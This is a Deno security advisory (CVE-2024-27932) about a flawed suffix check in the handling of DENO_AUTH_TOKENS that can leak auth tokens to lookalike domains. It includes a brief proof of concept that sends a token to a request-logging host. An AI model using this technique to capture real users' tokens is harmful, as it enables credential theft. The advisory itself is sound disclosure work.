denoland/deno · Security
Deno's improper suffix match testing for DENO_AUTH_TOKENS
- GHSA ID
- GHSA-5frw-4rwq-xhcr
- CVE ID
- CVE-2024-27932
- Severity
- medium
- Published
- Updated
- CVSS
- 4.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- CVSS v3
- 4.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Description
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
[email protected] deno run https://not-a-left-truncated.domain. For example,[email protected] deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
CWEs
- CWE-20 · Improper Input Validation
References
- https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr ↗
- https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b ↗
- https://nvd.nist.gov/vuln/detail/CVE-2024-27932 ↗
- https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89 ↗
- https://github.com/advisories/GHSA-5frw-4rwq-xhcr ↗